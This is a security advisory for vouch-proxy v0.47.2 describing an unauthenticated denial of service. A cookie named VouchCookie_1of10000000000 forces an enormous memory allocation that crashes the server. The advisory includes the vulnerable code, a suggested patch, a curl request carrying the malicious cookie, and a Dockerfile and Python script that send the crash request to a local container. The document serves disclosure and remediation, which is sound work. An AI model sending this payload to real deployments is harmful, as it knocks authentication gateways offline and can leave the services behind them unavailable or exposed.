GHSA-qqff-5854-px68
vouch-proxy has an Unbounded Multipart Cookie Allocation DoS
Quick fix
GHSA-qqff-5854-px68 — github.com/vouch/vouch-proxy: upgrade to the fixed version with the command below.
go get github.com/vouch/vouch-proxy@v0.48.0 Details
## Unbounded Multipart Cookie Allocation DoS in vouch-proxy
### Summary
vouch-proxy v0.47.2 contains an unauthenticated remote denial-of-service vulnerability in its multipart cookie reassembly logic. The `/validate` endpoint parses the total cookie part count directly from the attacker-controlled cookie name (e.g., `VouchCookie_1of<N>`) and passes it without any bounds check to `make([]string, N)`. A single HTTP request with `N=10000000000` causes the Go runtime to attempt a ~160 GB heap allocation, triggering a fatal out-of-memory error that crashes the server process immediately. No authentication or prior session is required.
### Details
The vulnerability exists in `pkg/cookie/cookie.go`. The `Cookie()` function iterates over all cookies in the request, identifies multipart cookies by the `_NofM` suffix in their name, and initializes the reassembly slice on the first matching cookie:
```go // pkg/cookie/cookie.go:123–130 xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1) xyArray := strings.Split(xOFy, "of") if numParts == -1 { if numParts, err = strconv.Atoi(xyArray[1]); err != nil { return "", fmt.Errorf("multipart cookie fail: %s", err) } cookieParts = make([]string, numParts) // sink: unbounded allocation } ```
The value in `xyArray[1]` comes directly from the cookie name supplied by the client. There is no maximum value check, no positive-range assertion, and no format validation before `strconv.Atoi` parses it. The result is used as the length argument to `make`, so an attacker who supplies `VouchCookie_1of10000000000` causes the runtime to request approximately `10_000_000_000 × 16 bytes ≈ 160 GB` of memory in a single call.
The complete exploit path from network entry to crash:
1. `main.go:167` — `/validate` and `/_external-auth-:id` are registered wrapped in `JWTCacheHandler`. 2. `pkg/jwtmanager/jwtcache.go:54` — `JWTCacheHandler` calls `FindJWT(r)` **before** any authentication check. 3. `pkg/jwtmanager/jwtmanager.go:228` — `FindJWT` calls `cookie.Cookie(r)`. 4. `pkg/cookie/cookie.go:109` — `r.Cookies()` reads the attacker-supplied `Cookie:` header. 5. `pkg/cookie/cookie.go:124` — cookie name suffix is split on `"of"`. 6. `pkg/cookie/cookie.go:126` — `strconv.Atoi(xyArray[1])` parses the attacker-controlled total. 7. `pkg/cookie/cookie.go:130` — **sink**: `make([]string, numParts)` attempts a gigantic heap allocation.
Because the code path is exercised before JWT validation, no session token, credentials, or prior authentication are needed.
A suggested remediation is to add a strict upper bound and format validation before the allocation:
```diff --- a/pkg/cookie/cookie.go +++ b/pkg/cookie/cookie.go @@ const maxCookieSize = 4000 +const maxCookieParts = 32 @@ - xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1) - xyArray := strings.Split(xOFy, "of") + xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1) + partStr, totalStr, ok := strings.Cut(xOFy, "of") + if !ok || partStr == "" || totalStr == "" { + return "", fmt.Errorf("multipart cookie fail: invalid cookie part name") + } if numParts == -1 { - if numParts, err = strconv.Atoi(xyArray[1]); err != nil { + if numParts, err = strconv.Atoi(totalStr); err != nil { return "", fmt.Errorf("multipart cookie fail: %s", err) } + if numParts < 1 || numParts > maxCookieParts { + return "", fmt.Errorf("multipart cookie fail: invalid part count %d", numParts) + } cookieParts = make([]string, numParts) } ```
### PoC
**Environment setup**
Build the vulnerable image from source (requires the vouch-proxy repository at the path below):
```bash docker build \ -f vuln-001/Dockerfile \ -t vouch-vuln001 \ repo ```
Start the container (no memory limit is imposed; the Go runtime itself fails the allocation):
```bash docker run -d --name vouch-vuln001-poc -p 19090:9090 vouch-vuln001 ```
Wait for the server to respond to a baseline request (expected HTTP 302 or similar):
```bash curl -v http://127.0.0.1:19090/validate ```
**Attack request**
Send a single unauthenticated HTTP GET with the malicious cookie name:
```bash curl -v http://127.0.0.1:19090/validate \ -H 'Host: app.example.com' \ -H 'Cookie: VouchCookie_1of10000000000=x' ```
Alternatively, run the automated PoC script:
```bash python3 poc.py --image vouch-vuln001 --port 19090 --parts 10000000000 ```
**Expected result**
The server process crashes immediately with a Go runtime fatal error. Container logs show:
``` fatal error: runtime: out of memory
runtime.makeslice(0x0?, 0x0?, 0x0?) /usr/local/go/src/runtime/slice.go:117 github.com/vouch/vouch-proxy/pkg/cookie.Cookie(...) /src/pkg/cookie/cookie.go:130 github.com/vouch/vouch-proxy/pkg/jwtmanager.FindJWT(...) /src/pkg/jwtmanager/jwtmanager.go:228 main.main.JWTCacheHandler.func1(...) /src/pkg/jwtmanager/jwtcache.go:54 ```
The container exits with code 2 (Go runtime fatal). The `curl` client receives an empty reply. The attack is 100% deterministic and reproducible on every run.
**Minimal configuration** (no real OAuth provider required):
```yaml vouch: logLevel: info listen: 0.0.0.0 port: 9090 domains: - vouch.github.io oauth: provider: indieauth client_id: http://vouch.github.io auth_url: https://indielogin.com/auth callback_url: http://vouch.github.io:9090/auth ```
### Impact
This is an unauthenticated remote denial-of-service vulnerability. Any network-reachable vouch-proxy instance running with a default or standard configuration is affected.
An attacker who can send a single HTTP request to the `/validate` or `/_external-auth-:id` endpoint can crash the vouch-proxy process immediately. In containerized deployments the container restarts; a persistent attacker can send the request again immediately after restart, keeping the proxy permanently unavailable. Since vouch-proxy is used as an authentication gateway in front of protected applications, its unavailability can result in downstream services becoming inaccessible or, depending on the reverse-proxy fail-open/fail-closed policy, unintentionally exposed.
No authentication, session, or prior account is required. The attack is reliable across all deployment configurations because the default cookie name (`VouchCookie`) is used and the vulnerable code path is exercised unconditionally on every request to the listed endpoints.
### Reproduction artifacts
#### `Dockerfile`
```dockerfile # VULN-001 — Unbounded Multipart Cookie Allocation DoS # vouch/vouch-proxy v0.47.2 (commit b683f60) # # Attack: GET /validate with Cookie: VouchCookie_1of<HUGE>=x # -> cookie.Cookie() calls strconv.Atoi on the attacker-controlled total # -> make([]string, <HUGE>) triggers an immediate OOM fatal in the Go runtime # -> Server process crashes; no authentication required # # Build: docker build -f vuln-001/Dockerfile -t vouch-vuln001 /path/to/repo # Run: docker run --rm -p 9090:9090 --name vouch-vuln001 vouch-vuln001
# ---------- Stage 1: compile vouch-proxy from source ---------- FROM golang:1.26 AS builder
WORKDIR /src COPY . .
# Build a statically linked binary; skip do.sh which requires live git tags. # Version ldflags are pinned to the affected commit for reproducibility. RUN CGO_ENABLED=0 GOOS=linux \ go build -v \ -ldflags="-s -w \ -X main.version=b683f60 \ -X main.uname=linux \ -X main.builddt=2024-01-01T00:00:00Z \ -X main.host=vuln-poc \ -X main.semver=v0.47.2 \ -X main.branch=main" \ -o /vouch-proxy .
# ---------- Stage 2: minimal runtime image ---------- FROM debian:bookworm-slim
RUN apt-get update && \ apt-get install -y --no-install-recommends ca-certificates && \ rm -rf /var/lib/apt/lists/*
COPY --from=builder /vouch-proxy /vouch-proxy
# Minimal config: allowAllUsers so startup succeeds without real OAuth, # default cookie name VouchCookie matches the PoC payload. RUN mkdir -p /config && cat > /config/config.yml << 'EOF' vouch: logLevel: info listen: 0.0.0.0 port: 9090 domains: - vouch.github.io oauth: provider: indieauth client_id: http://vouch.github.io auth_url: https://indielogin.com/auth callback_url: http://vouch.github.io:9090/auth EOF
EXPOSE 9090 ENTRYPOINT ["/vouch-proxy"] ```
#### `poc.py`
```python #!/usr/bin/env python3 """ VULN-001 Proof-of-Concept: Unbounded Multipart Cookie Allocation DoS Target: vouch/vouch-proxy v0.47.2 (commit b683f60) File: pkg/cookie/cookie.go:126
Attack summary -------------- The multipart-cookie reassembly routine reads the total part count from the attacker-controlled cookie *name* (e.g. VouchCookie_1of<N>) and calls make([]string, N) with no upper-bound check. The /validate endpoint is reachable without any authentication, so a single HTTP request with N=10_000_000_000 forces the Go runtime to attempt a ~160 GB heap allocation, which immediately triggers runtime: out of memory: cannot allocate ... and crashes the server process (Go fatal, exit 2).
Usage ----- Run from the repo root (or any directory; paths are absolute):
python3 poc.py [--image IMAGE] [--port PORT] [--parts N]
Defaults: IMAGE = vouch-vuln001 PORT = 9090 PARTS = 10000000000 (10 billion -> ~160 GB allocation request) """
import argparse import http.client import json import subprocess import sys import time
# ────────────────────────────────────────────────────────── # Configuration # ────────────────────────────────────────────────────────── DEFAULT_IMAGE = "vouch-vuln001" DEFAULT_PORT = 19090 # host port; container always uses 9090 internally DEFAULT_PARTS = 10_000_000_000 # drives make([]string, 10_000_000_000) CONTAINER_NAME = "vouch-vuln001-poc" STARTUP_TIMEOUT_S = 30 # seconds to wait for the server to listen READY_POLL_S = 1.0
# ────────────────────────────────────────────────────────── # Helpers # ──────────────────────────────────────────────────────────
def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess: """Run a subprocess and return the CompletedProcess.""" print(f"[cmd] {' '.join(cmd)}") return subprocess.run(cmd, **kwargs)
def cleanup(name: str) -> None: """Remove an existing container by name, ignoring errors.""" subprocess.run( ["docker", "rm", "-f", name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, )
def wait_for_server(host: str, port: int, timeout: float) -> bool: """Poll GET /validate until we get any response (even 401/302) or timeout.""" deadline = time.monotonic() + timeout while time.monotonic() < deadline: try: conn = http.client.HTTPConnection(host, port, timeout=2) conn.request("GET", "/validate") resp = conn.getresponse() # Any HTTP response means the server is up. print(f"[ready] server responded: HTTP {resp.status}") conn.close() return True except OSError: pass time.sleep(READY_POLL_S) return False
def container_running(name: str) -> bool: """Return True if the named container is still running.""" r = subprocess.run( ["docker", "inspect", "--format", "{{.State.Running}}", name], capture_output=True, text=True, ) return r.returncode == 0 and r.stdout.strip() == "true"
def container_exit_code(name: str) -> int | None: """Return the exit code of a stopped container, or None if unknown.""" r = subprocess.run( ["docker", "inspect", "--format", "{{.State.ExitCode}}", name], capture_output=True, text=True, ) if r.returncode == 0: try: return int(r.stdout.strip()) except ValueError: pass return None
def container_oom(name: str) -> bool: """Return True if the container was OOM-killed.""" r = subprocess.run( ["docker", "inspect", "--format", "{{.State.OOMKilled}}", name], capture_output=True, text=True, ) return r.returncode == 0 and r.stdout.strip() == "true"
def get_logs(name: str) -> str: """Retrieve stdout+stderr from the container.""" r = subprocess.run( ["docker", "logs", name], capture_output=True, text=True, ) return (r.stdout + r.stderr).strip()
# ────────────────────────────────────────────────────────── # Main # ──────────────────────────────────────────────────────────
def main() -> None: parser = argparse.ArgumentParser(description="VULN-001 PoC runner") parser.add_argument("--image", default=DEFAULT_IMAGE, help="Docker image name") parser.add_argument("--port", default=DEFAULT_PORT, type=int) parser.add_argument("--parts", default=DEFAULT_PARTS, type=int, help="N in VouchCookie_1ofN (drives allocation size)") args = parser.parse_args()
host = "127.0.0.1" port = args.port image = args.image num_parts = args.parts cookie_val = f"VouchCookie_1of{num_parts}"
print("=" * 60) print("VULN-001 PoC — Unbounded Multipart Cookie Allocation DoS") print("=" * 60) print(f" Image : {image}") print(f" Target : http://{host}:{port}/validate") print(f" Cookie : {cookie_val}=x") print(f" Expected allocation: ~{(num_parts * 16) // (1024**3)} GB") print()
# 1. Clean up any leftover container. cleanup(CONTAINER_NAME)
# 2. Start the vouch-proxy container. # Memory is uncapped at the Docker level; the Go runtime itself will # fail the mmap when the host cannot honor the 160 GB request # (overcommit heuristic or insufficient address space). run_cmd = [ "docker", "run", "-d", # no --rm so logs survive after crash "--name", CONTAINER_NAME, "-p", f"{port}:9090", # host:container — vouch-proxy always binds :9090 internally image, ] r = run(run_cmd, capture_output=True, text=True) if r.returncode != 0: print(f"[FAIL] docker run failed:\n{r.stderr}") sys.exit(1) container_id = r.stdout.strip() print(f"[info] container started: {container_id[:12]}")
# 3. Wait for the HTTP server to accept connections. print(f"[info] waiting for server on {host}:{port} (up to {STARTUP_TIMEOUT_S}s) ...") ready = wait_for_server(host, port, STARTUP_TIMEOUT_S) if not ready: logs = get_logs(CONTAINER_NAME) print(f"[FAIL] server did not become ready within {STARTUP_TIMEOUT_S}s.") print("[logs]", logs[-2000:]) cleanup(CONTAINER_NAME) sys.exit(1)
# 4. Send the malicious request. print() print("[attack] Sending malicious cookie to /validate ...") request_line = f"GET /validate HTTP/1.1 Cookie: {cookie_val}=x" print(f"[attack] {request_line}") print()
try: conn = http.client.HTTPConnection(host, port, timeout=10) conn.request( "GET", "/validate", headers={ "Host": "app.example.com", "Cookie": f"{cookie_val}=x", }, ) # The server might crash before sending a response. try: resp = conn.getresponse() body = resp.read(512).decode("utf-8", errors="replace") print(f"[info] got HTTP {resp.status}: {body[:200]}") except Exception as e: print(f"[info] connection broken mid-response (expected): {e}") conn.close() except Exception as e: print(f"[info] request exception (expected if server crashed): {e}")
# 5. Give the container a moment to record its exit state. time.sleep(2)
# 6. Collect evidence. still_running = container_running(CONTAINER_NAME) exit_code = container_exit_code(CONTAINER_NAME) oom_killed = container_oom(CONTAINER_NAME) logs = get_logs(CONTAINER_NAME)
print("─" * 60) print("[evidence] Container still running :", still_running) print("[evidence] Container exit code :", exit_code) print("[evidence] OOM-killed flag :", oom_killed) print() print("[logs] (last 3000 chars of container stdout+stderr):") print(logs[-3000:] if logs else "(empty)") print("─" * 60)
# 7. Verdict # # Evidence of exploitation (any one suffices): # (a) Container exited (not still running) after the malicious request. # (b) Exit code == 2 (Go runtime fatal: out of memory). # (c) OOMKilled == true (kernel OOM killer fired). # (d) Logs contain "out of memory" or "runtime: fatal".
crashed = not still_running go_panic = exit_code == 2 oom_kill = oom_killed log_oom = ( "out of memory" in logs.lower() or "runtime: fatal" in logs.lower() or "cannot allocate" in logs.lower() )
passed = crashed and (go_panic or oom_kill or log_oom)
print() if passed: print("[PASS] Vulnerability reproduced: server crashed due to unbounded allocation.") # Extract the key OOM line from logs. oom_lines = [ ln for ln in logs.splitlines() if any(kw in ln.lower() for kw in ("out of memory", "cannot allocate", "runtime: fatal", "oom")) ] evidence = "\n".join(oom_lines[:5]) if oom_lines else f"container exited with code {exit_code}" else: print("[FAIL] Could not confirm crash. See logs above for details.") evidence = logs[-500:] if logs else "(no logs)"
print() result = { "passed": passed, "verdict": "PASS" if passed else "FAIL", "reason": ( "단일 비인증 HTTP 요청으로 서버 프로세스를 OOM 충돌시키는 취약점 재현 성공" if passed else "컨테이너 충돌을 확인할 수 없음 — 로그 및 종료 코드 참고" ), "build_command": ( "docker build -f vuln-001/Dockerfile " "-t vouch-vuln001 " "repo" ), "run_command": ( f"docker run --rm -d --name {CONTAINER_NAME} " f"-p {port}:9090 {image}" ), "poc_command": ( f"python3 poc.py --image {image} --port {port} --parts {num_parts}" ), "evidence": evidence, "artifacts": ["Dockerfile", "poc.py"], }
result_path = ( "reports/pypiAi_450_vouch__vouch-proxy" "/vuln-001/phase2_result.json" ) with open(result_path, "w") as fh: json.dump(result, fh, indent=2, ensure_ascii=False) print(f"[saved] {result_path}")
# 8. Cleanup. cleanup(CONTAINER_NAME)
if __name__ == "__main__": main() ```
Are you affected?
Enter the version of the package you're using.
Affected packages
0 Fixed in: 0.48.0 go get github.com/vouch/vouch-proxy@v0.48.0